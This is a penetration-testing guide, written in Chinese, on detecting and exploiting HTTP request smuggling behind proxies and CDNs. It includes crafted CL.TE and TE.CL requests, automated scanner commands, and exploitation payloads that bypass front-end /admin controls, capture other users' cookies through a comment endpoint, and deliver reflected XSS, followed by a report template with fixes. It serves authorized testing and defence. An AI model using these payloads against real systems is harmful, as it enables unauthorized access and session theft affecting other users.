exploiting-http-request-smuggling

利用 HTTP 请求走私

何时使用

• 在获得授权的渗透测试中，当应用位于反向代理、负载均衡器或 CDN 之后时
• 测试请求链中包含多个 HTTP 处理器的基础设施时（nginx + Apache、HAProxy + Gunicorn）
• 评估应用是否存在 HTTP 去同步漏洞时
• 当其他攻击向量受限，需要绕过前端安全控制时
• 对多层 Web 架构进行安全评估时

前置条件

• 授权：明确涵盖请求走私的书面渗透测试协议（高风险测试）
• Burp Suite Professional：配合 HTTP Request Smuggler 扩展（Turbo Intruder）
• smuggler.py：自动化 HTTP 请求走私检测工具
• curl：编译时支持 HTTP/1.1 并支持手动分块编码
• 目标架构知识：了解代理/服务链（前端和后端）
• 注意：请求走私可能影响其他用户的请求；请谨慎测试

工作流

步骤 1：识别 HTTP 架构

确定代理/服务链及 HTTP 解析特征。

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

步骤 2：测试 CL.TE 走私

前端使用 Content-Length，后端使用 Transfer-Encoding。

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

步骤 3：测试 TE.CL 走私

前端使用 Transfer-Encoding，后端使用 Content-Length。

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

步骤 4：使用自动化检测工具

运行自动化扫描器以检测各种走私变体。

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

步骤 5：利用请求走私制造影响

利用已确认的走私实施实际攻击。

# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy

# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x

# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly

# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location

POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=

# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers

# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response

POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

# Next user receives the XSS response instead of their expected response

步骤 6：测试 HTTP/2 请求走私

评估 HTTP/2 特有的走私向量。

# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't

# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content

# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header

# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2

# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests

# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls

核心概念

概念	描述
CL.TE 走私	前端使用 Content-Length，后端使用 Transfer-Encoding
TE.CL 走私	前端使用 Transfer-Encoding，后端使用 Content-Length
TE.TE 走私	两者都使用 Transfer-Encoding，但对混淆的 TE 头解析方式不同
HTTP 去同步	前端和后端对请求边界理解不一致的状态
请求拆分	一个 HTTP 请求被解释为两个独立的请求
连接污染	走私的数据影响同一 TCP 连接上的下一个请求
H2.CL 走私	HTTP/2 降级到 HTTP/1.1 时存在 Content-Length 差异

工具与系统

工具	用途
Burp Suite Professional	禁用自动 Content-Length 后手动构造请求
HTTP Request Smuggler (Burp)	James Kettle 开发的自动化走私检测扩展
smuggler.py	基于 Python 的自动化 HTTP 请求走私扫描器
h2cSmuggler	Bishop Fox 开发的 HTTP/2 明文走私工具
Turbo Intruder	用于时间敏感走私测试的高速请求引擎
curl	可精确控制字节的手动 HTTP 请求构造工具

常见场景

场景 1：绕过管理员面板访问控制

前端代理阻止 /admin 请求。CL.TE 走私攻击将 GET /admin 前置到后端的请求队列中，导致后端在没有前端访问控制检查的情况下处理该管理员请求。

场景 2：通过请求捕获窃取 Cookie

TE.CL 走私攻击向评论端点注入一个不完整的 POST 请求。下一个用户的请求（包括 Cookie 和授权头）被追加到评论正文中并存储到数据库。

场景 3：通过走私实施缓存投毒

走私的请求导致缓存存储来自不同 URL 的响应。结合缓存投毒，攻击者可以向所有请求合法 URL 的用户提供恶意内容。

场景 4：CDN 上的 HTTP/2 去同步

CDN 接受 HTTP/2 并将其降级为 HTTP/1.1 发送给源站。通过 HTTP/2 进行头注入会造成去同步，使攻击者能够走私绕过 CDN 的 WAF 规则的请求。

Output Format

## HTTP Request Smuggling Finding

**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin

### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request

### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |

### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding